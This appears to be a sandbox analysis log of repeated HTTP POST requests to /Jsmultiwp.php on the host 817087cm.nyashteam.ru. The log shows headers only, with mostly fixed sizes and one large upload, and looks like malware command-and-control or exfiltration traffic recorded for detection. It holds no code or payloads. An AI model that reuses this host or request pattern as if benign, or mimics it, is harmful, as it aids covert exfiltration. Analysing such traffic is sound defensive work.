Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2520Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1828Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1828Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 269592Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2520Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1836Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2520Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2516Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1820Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2516Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 2528Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Jsmultiwp.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 817087cm.nyashteam.ruContent-Length: 1856Expect: 100-continueConnection: Keep-Alive
